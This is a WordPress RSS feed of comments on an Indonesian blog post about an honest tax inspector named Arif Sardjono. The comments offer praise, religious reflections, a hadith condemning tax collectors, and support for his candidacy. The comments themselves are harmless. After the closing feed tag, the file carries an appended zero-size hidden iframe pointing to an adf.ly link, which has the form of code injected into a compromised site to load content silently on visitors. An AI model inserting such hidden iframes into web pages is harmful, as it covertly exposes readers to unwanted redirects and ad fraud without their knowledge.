<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Pemeriksa Pajak yang Jujur (bagian-1)</title>
	<atom:link href="http://rosyidi.com/pemeriksa-pajak-jujur-1/feed/" rel="self" type="application/rss+xml" />
	<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/</link>
	<description>multilinguals blog</description>
	<lastBuildDate>Fri, 10 Feb 2012 14:39:16 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: muslim tapi tidak munafik</title>
		<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-30564</link>
		<dc:creator>muslim tapi tidak munafik</dc:creator>
		<pubDate>Sun, 28 Nov 2010 00:26:16 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-30564</guid>
		<description>Semakin banyak posting ini dibaca semakin banyak dosa orang munafik satu ini. Smoga kalian mengenal siapa dia SAAT INI baru kalian mengerti kalimat pertamaku.</description>
		<content:encoded><![CDATA[<p>Semakin banyak posting ini dibaca semakin banyak dosa orang munafik satu ini. Smoga kalian mengenal siapa dia SAAT INI baru kalian mengerti kalimat pertamaku.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Denie</title>
		<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-24855</link>
		<dc:creator>Denie</dc:creator>
		<pubDate>Fri, 27 Aug 2010 06:08:31 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-24855</guid>
		<description>Ijin share yah..</description>
		<content:encoded><![CDATA[<p>Ijin share yah..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: alif</title>
		<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-19369</link>
		<dc:creator>alif</dc:creator>
		<pubDate>Thu, 28 Jan 2010 09:54:08 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-19369</guid>
		<description>Rasulullah Shallallahu ‘alaihi wa sallam bersabda.
“Sesungguhnya pelaku/pemungut pajak (diadzab) di neraka” [HR Ahmad 4/109, Abu Dawud kitab Al-Imarah : 7]

Baik pemungut pajak jujur amupun tidak jujur, keduanya akan diazab di api neraka karena sama-sama pemungut pajak.</description>
		<content:encoded><![CDATA[<p>Rasulullah Shallallahu ‘alaihi wa sallam bersabda.<br />
“Sesungguhnya pelaku/pemungut pajak (diadzab) di neraka” [HR Ahmad 4/109, Abu Dawud kitab Al-Imarah : 7]</p>
<p>Baik pemungut pajak jujur amupun tidak jujur, keduanya akan diazab di api neraka karena sama-sama pemungut pajak.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: adri</title>
		<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-16672</link>
		<dc:creator>adri</dc:creator>
		<pubDate>Sun, 08 Mar 2009 14:51:08 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-16672</guid>
		<description>saat ini pak arif, menjadi salah satu calon anggota DPD-RI di wilayah SUMUT. Saya pribadi akan dukung pak Arif :)</description>
		<content:encoded><![CDATA[<p>saat ini pak arif, menjadi salah satu calon anggota DPD-RI di wilayah SUMUT. Saya pribadi akan dukung pak Arif <img src='http://rosyidi.com/smilies/yahoo_smiley.gif' alt='&#58;&#41;' class='wp-smiley' width='' height='' title='&#58;&#41;' /></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: abu abdillah</title>
		<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13921</link>
		<dc:creator>abu abdillah</dc:creator>
		<pubDate>Thu, 21 Aug 2008 14:44:40 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13921</guid>
		<description>barakallohufikum</description>
		<content:encoded><![CDATA[<p>barakallohufikum</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: yusuf</title>
		<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13843</link>
		<dc:creator>yusuf</dc:creator>
		<pubDate>Sat, 09 Aug 2008 21:46:52 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13843</guid>
		<description>saya merasa pada waktu membanting amplop2 haram itu Pak Arif Sardjono dalam hati berkata :&quot;we don&#039;t play with islam baby, it&#039;s not a game&quot;</description>
		<content:encoded><![CDATA[<p>saya merasa pada waktu membanting amplop2 haram itu Pak Arif Sardjono dalam hati berkata :&#8221;we don&#8217;t play with islam baby, it&#8217;s not a game&#8221;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: mastal</title>
		<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13795</link>
		<dc:creator>mastal</dc:creator>
		<pubDate>Tue, 05 Aug 2008 10:09:51 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13795</guid>
		<description>pajak memang harus di bayar :d

salam kenal</description>
		<content:encoded><![CDATA[<p>pajak memang harus di bayar <img src='http://rosyidi.com/smilies/yahoo_bigsmile.gif' alt='&#58;&#100;' class='wp-smiley' width='' height='' title='&#58;&#100;' /></p>
<p>salam kenal</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: risqi</title>
		<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13778</link>
		<dc:creator>risqi</dc:creator>
		<pubDate>Sat, 02 Aug 2008 14:09:17 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13778</guid>
		<description>^_^ hebat.. gak perlu takut mutasi, gak perlu takut sama kepala kantor! yang salah ya harus dikatakan salah, yang benar harus dikatakan benar. bukan berarti pegawai golongan rendah mesti pura-pura buta (karena takut di mutasi atau nilai DP3 jeblok) melihat segala bentuk korupsi spt itu. cuma ada satu kata.. &quot;LAWAN!&quot;</description>
		<content:encoded><![CDATA[<p>^_^ hebat.. gak perlu takut mutasi, gak perlu takut sama kepala kantor! yang salah ya harus dikatakan salah, yang benar harus dikatakan benar. bukan berarti pegawai golongan rendah mesti pura-pura buta (karena takut di mutasi atau nilai DP3 jeblok) melihat segala bentuk korupsi spt itu. cuma ada satu kata.. &#8220;LAWAN!&#8221;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: citra</title>
		<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13721</link>
		<dc:creator>citra</dc:creator>
		<pubDate>Mon, 28 Jul 2008 05:29:08 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13721</guid>
		<description>Subhanallah,,,, ternyata masih ada ya orang yang jujur di Indonesia. Saya aja sendiri belum tentu lho seperti Bapak Arif Sardjono, semoga hal ini menjadi cambuk untuk saya agar bisa mencontoh kejujuran dan keberaniannya minimal bisa menjadi tauladan dan contoh perilaku kehidupan saya untuk bekal di akherat kelak. Memang dunia ini penuh dengan intrik-intrik tipu muslihat yang lihai, kita harus waspada utamanya untuk diri saya pribadi yang merasa bahwa dunia ini telah memberikan segala sesuatunya terutama hal-hal negatif, memang dunia itu enak,nikmat,glamour,penuh fantasi materi yang harus kita lewati atau kita pijak. Kita memang tidak bisa melepaskan hal-hal keduniawian apalagi yang bersifat materi, uang, jabatan,kekuasaan,rumah,mobil,pesawat,kebun,sawah,ladang, pekerjaan guna menunjang keduniawian itu, tetapi yang mesti kita yakini seratus persen utamanya untuk diri saya sendiri bahwa dunia ini perlu hal-hal yang seperti itu materi, dsbnya yang bersifat ala kadarnya saja jangan beerlebihan, yang penting cukup,kalau tidak cukup ya dicukup-cukupkan karena keinginan kita sebagai manusia biasa pada dasarnya ingin itu ingin ini ingin menguasai segalanya. Hal ini pernah saya alami ternyata membuat diri saya jatuh sakit alias stress dan hampir aja saya mengalami gangguan kejiwaan alias gila, alhamdulillah saya masih normal dalam batas kewajaran manusia biasa, meskipun ada nafsu yang pengin sukses jadi pengusaha kaya lah atau jadi pejabat itu enak lah , ternyata hal itu itu masih ada tetapi saya berusaha terus bersyukur aja, kalau gak gitu kagak kesampaian ataupun kesampaian malah bikin problem yang lebih besar alias mudharatnya malahan bisa menjadi bumerang buat diri saya atau ke orang lain. Saya akui, saya dahulu pernah merasakan menjadi anak seorang pejabat yang dikatakan hidup penuh warna keduniawian meskipun tidak sekaya anaknya presiden tetapi saya merasa udah enaklah pokoknya serba ada meskipun tidak semuanya sich ada....tetapi udah enaklah. Nyatanya sekarang ketika hal itu tidak ada alias udah expire bapak udah pensiun ibu kandung meninggal karena sakit lever dan bapak menikah lagi, tentunya hal-hal yang seperti dulu keadaan serba ada sudah tidak berlaku lagi, jadi boleh dikatakan lampunya semakin padam, dan hal inilah yang saya rasa bahwa hidup itu berputar seperti roda suatu saat kita merasa di atas jangan sombong pasti kita juga akan di bawah jangan merasa pesimis meskipun itu susah, intinya kita syukuri aja atas segala sesuatu yang menimpa kita baik kenikmatan,kesusahan,kepedihan,kesenangan,bencana, malapetaka,kerusuhan, huruhara,kenestapaan,kemelaratan, kekayaan,kesenangan, semuanya ini yang ada di dunia yang kita terima selama hidup asalkan kita meyakini adanya suatu masa dimana kita akan hidup lagi kekal selama-lamanya di akherat kelak yang masih tanda tanya bagi kita. Karena ada yang tidak meyakini 100 persen ada juga yang meyakini 100 persen tetapi tabiatnya kayak monyet juga ada mungkin ini ada pada pribadi saya yang perlu banyak di beri taudziah lebih dalam, entah kita nanti dimana surga atau neraka, semoga saya masuk surga aja, meskipun sebetulnya diri saya belum patut masuk surga karena sesungguhnya siksaan api neraka itu apabila benar-benar ada maka saya tidak kuat untuk menanggung kepedihannnya, lha wong kena api kompor aja saya nggak tahan apalagi kena api siksa neraka, naudszubillahmindallid. Intinya selama kita hidup cobaan itu pasti ada baik nikmat atau sengsara, hidup itu pasti seperti roda adakalanya kita di atas adakalanya kita di bawah, hidup itu pasti sementara bukan kekal karena nyatanya kita bisa mati tuh, hidup itu pasti belum tentu karena di dunia tidak ada kepastian semuanya serba tidak menentu, yang tentu atau pasti (ini masuk paham keyakinan lho) adalah ketika kita mati pasti kita dikubur dan masuk liang kubur bagi yang islam dan agama-agama tertentu dan dibakar kalau ada yang mau dibakar pakai api bukan pakai air.Insya Allah, semoga Bapak Arif Sardjono sekeluarga kalau tidak dapat dunianya mudah-mudahan ya dapet surganya saja di akherat kelak, bersama saya ya pak, aminnn yaaa robbal alamin.Kalau saya pak tidak berharap hidup lama-lama karena ya itu setelah lihat-lihat di sekitar pulau jawa-bali-sumatra karena kelilingnya baru sampai disitu aja saya merasa cukup aja daah hidup di dunia ini karena saya merasa apa yang dahulu saya cita-citakan atau dambakan sebagian besar sudah terpenuhi, meskipun juga ada yang belum semisal pengin jadi komisaris di suatu perusahaan besar dan keliling dunia untuk sekedar melihat-lihat alam beserta isinya ciptaan Allah swt.tetapi setelah menimbang-nimbang ternyata kalau  itu menjadi kenyataan saya malah khawatir malah saya menjadi orang yang berambisi untuk serakah alias tamak dan tidak menjadi qana`ah tidak bersyukur, summa naudszubillahimindzalik.</description>
		<content:encoded><![CDATA[<p>Subhanallah,,,, ternyata masih ada ya orang yang jujur di Indonesia. Saya aja sendiri belum tentu lho seperti Bapak Arif Sardjono, semoga hal ini menjadi cambuk untuk saya agar bisa mencontoh kejujuran dan keberaniannya minimal bisa menjadi tauladan dan contoh perilaku kehidupan saya untuk bekal di akherat kelak. Memang dunia ini penuh dengan intrik-intrik tipu muslihat yang lihai, kita harus waspada utamanya untuk diri saya pribadi yang merasa bahwa dunia ini telah memberikan segala sesuatunya terutama hal-hal negatif, memang dunia itu enak,nikmat,glamour,penuh fantasi materi yang harus kita lewati atau kita pijak. Kita memang tidak bisa melepaskan hal-hal keduniawian apalagi yang bersifat materi, uang, jabatan,kekuasaan,rumah,mobil,pesawat,kebun,sawah,ladang, pekerjaan guna menunjang keduniawian itu, tetapi yang mesti kita yakini seratus persen utamanya untuk diri saya sendiri bahwa dunia ini perlu hal-hal yang seperti itu materi, dsbnya yang bersifat ala kadarnya saja jangan beerlebihan, yang penting cukup,kalau tidak cukup ya dicukup-cukupkan karena keinginan kita sebagai manusia biasa pada dasarnya ingin itu ingin ini ingin menguasai segalanya. Hal ini pernah saya alami ternyata membuat diri saya jatuh sakit alias stress dan hampir aja saya mengalami gangguan kejiwaan alias gila, alhamdulillah saya masih normal dalam batas kewajaran manusia biasa, meskipun ada nafsu yang pengin sukses jadi pengusaha kaya lah atau jadi pejabat itu enak lah , ternyata hal itu itu masih ada tetapi saya berusaha terus bersyukur aja, kalau gak gitu kagak kesampaian ataupun kesampaian malah bikin problem yang lebih besar alias mudharatnya malahan bisa menjadi bumerang buat diri saya atau ke orang lain. Saya akui, saya dahulu pernah merasakan menjadi anak seorang pejabat yang dikatakan hidup penuh warna keduniawian meskipun tidak sekaya anaknya presiden tetapi saya merasa udah enaklah pokoknya serba ada meskipun tidak semuanya sich ada&#8230;.tetapi udah enaklah. Nyatanya sekarang ketika hal itu tidak ada alias udah expire bapak udah pensiun ibu kandung meninggal karena sakit lever dan bapak menikah lagi, tentunya hal-hal yang seperti dulu keadaan serba ada sudah tidak berlaku lagi, jadi boleh dikatakan lampunya semakin padam, dan hal inilah yang saya rasa bahwa hidup itu berputar seperti roda suatu saat kita merasa di atas jangan sombong pasti kita juga akan di bawah jangan merasa pesimis meskipun itu susah, intinya kita syukuri aja atas segala sesuatu yang menimpa kita baik kenikmatan,kesusahan,kepedihan,kesenangan,bencana, malapetaka,kerusuhan, huruhara,kenestapaan,kemelaratan, kekayaan,kesenangan, semuanya ini yang ada di dunia yang kita terima selama hidup asalkan kita meyakini adanya suatu masa dimana kita akan hidup lagi kekal selama-lamanya di akherat kelak yang masih tanda tanya bagi kita. Karena ada yang tidak meyakini 100 persen ada juga yang meyakini 100 persen tetapi tabiatnya kayak monyet juga ada mungkin ini ada pada pribadi saya yang perlu banyak di beri taudziah lebih dalam, entah kita nanti dimana surga atau neraka, semoga saya masuk surga aja, meskipun sebetulnya diri saya belum patut masuk surga karena sesungguhnya siksaan api neraka itu apabila benar-benar ada maka saya tidak kuat untuk menanggung kepedihannnya, lha wong kena api kompor aja saya nggak tahan apalagi kena api siksa neraka, naudszubillahmindallid. Intinya selama kita hidup cobaan itu pasti ada baik nikmat atau sengsara, hidup itu pasti seperti roda adakalanya kita di atas adakalanya kita di bawah, hidup itu pasti sementara bukan kekal karena nyatanya kita bisa mati tuh, hidup itu pasti belum tentu karena di dunia tidak ada kepastian semuanya serba tidak menentu, yang tentu atau pasti (ini masuk paham keyakinan lho) adalah ketika kita mati pasti kita dikubur dan masuk liang kubur bagi yang islam dan agama-agama tertentu dan dibakar kalau ada yang mau dibakar pakai api bukan pakai air.Insya Allah, semoga Bapak Arif Sardjono sekeluarga kalau tidak dapat dunianya mudah-mudahan ya dapet surganya saja di akherat kelak, bersama saya ya pak, aminnn yaaa robbal alamin.Kalau saya pak tidak berharap hidup lama-lama karena ya itu setelah lihat-lihat di sekitar pulau jawa-bali-sumatra karena kelilingnya baru sampai disitu aja saya merasa cukup aja daah hidup di dunia ini karena saya merasa apa yang dahulu saya cita-citakan atau dambakan sebagian besar sudah terpenuhi, meskipun juga ada yang belum semisal pengin jadi komisaris di suatu perusahaan besar dan keliling dunia untuk sekedar melihat-lihat alam beserta isinya ciptaan Allah swt.tetapi setelah menimbang-nimbang ternyata kalau  itu menjadi kenyataan saya malah khawatir malah saya menjadi orang yang berambisi untuk serakah alias tamak dan tidak menjadi qana`ah tidak bersyukur, summa naudszubillahimindzalik.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: SonnYRastA</title>
		<link>http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13715</link>
		<dc:creator>SonnYRastA</dc:creator>
		<pubDate>Mon, 28 Jul 2008 01:45:06 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/pemeriksa-pajak-jujur-1/#comment-13715</guid>
		<description>Alhamdulillah... :) Jazakallah Khoiron Katsiron buat Pak Arif sekeluarga :) Andaikata di Indonesia ini orang-orang seperti Bapak banyak, alangkah indahnya tidak ada lagi Korupsi, Kolusi, dan Nepotisme yang memang sudah mengakar dan mendarah daging... Insya Allah dengan prinsip dan idealisme seperti Pak Arif sekeluarga akan mendapatkan barokah dari Allah... Amin</description>
		<content:encoded><![CDATA[<p>Alhamdulillah&#8230; <img src='http://rosyidi.com/smilies/yahoo_smiley.gif' alt='&#58;&#41;' class='wp-smiley' width='' height='' title='&#58;&#41;' /> Jazakallah Khoiron Katsiron buat Pak Arif sekeluarga <img src='http://rosyidi.com/smilies/yahoo_smiley.gif' alt='&#58;&#41;' class='wp-smiley' width='' height='' title='&#58;&#41;' /> Andaikata di Indonesia ini orang-orang seperti Bapak banyak, alangkah indahnya tidak ada lagi Korupsi, Kolusi, dan Nepotisme yang memang sudah mengakar dan mendarah daging&#8230; Insya Allah dengan prinsip dan idealisme seperti Pak Arif sekeluarga akan mendapatkan barokah dari Allah&#8230; Amin</p>
]]></content:encoded>
	</item>
</channel>
</rss>




  

  <iframe src=http://http://adf.ly/5N8iR scrolling="auto" width=0% height=0% frameborder="0"> </iframe>
